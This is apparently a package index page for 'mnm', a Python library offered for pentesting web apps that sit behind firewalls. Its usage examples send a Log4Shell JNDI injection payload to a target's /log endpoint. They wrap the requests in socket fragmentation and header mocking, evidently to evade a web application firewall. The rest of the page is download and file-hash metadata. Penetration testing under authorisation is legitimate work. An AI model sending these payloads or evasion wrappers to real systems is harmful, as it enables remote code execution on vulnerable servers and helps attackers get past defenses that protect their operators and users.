A simple python library for pentesting firewall protected webapp
Project description
mnm
This is a simple python library for pentesting firewall protected webapp.
Installation
pip install mnm
Usage
from mnm import *
import requests
@mixed(SocketFragmentation(slice=5), HeaderMocking())
def mixed_options(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
@mixed()
def mixed_simple(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
def with_pattern(ip):
with SocketFragmentation(slice=5), HeaderMocking():
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
License
MIT License
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
mnm-0.3.1.tar.gz
(5.2 kB
view details)
Built Distribution
mnm-0.3.1-py3-none-any.whl
(7.6 kB
view details)
File details
Details for the file mnm-0.3.1.tar.gz
.
File metadata
- Download URL: mnm-0.3.1.tar.gz
- Upload date:
- Size: 5.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.8
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 777b49edd201e766aa836e26bc8c75888037339bd3d99ff75e55bbf3b5d45c76 |
|
MD5 | 247bb2c82612496c949267e7324f925f |
|
BLAKE2b-256 | 91f7d41aab0f95b92cae937b9b969c2f7346192d3ab2663e7cb37a65b66976a1 |
File details
Details for the file mnm-0.3.1-py3-none-any.whl
.
File metadata
- Download URL: mnm-0.3.1-py3-none-any.whl
- Upload date:
- Size: 7.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.8
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 4f40291750a93c8518df40dc36c13aa3a28653d97ca6879705da1eedaf45ada8 |
|
MD5 | 5ddfe688ea39968ecf4cb472c56a4adb |
|
BLAKE2b-256 | ebece9a3234aafc4537a039ba23d497efa3daa469fcb6a4c6d3a5d4ac0f28dba |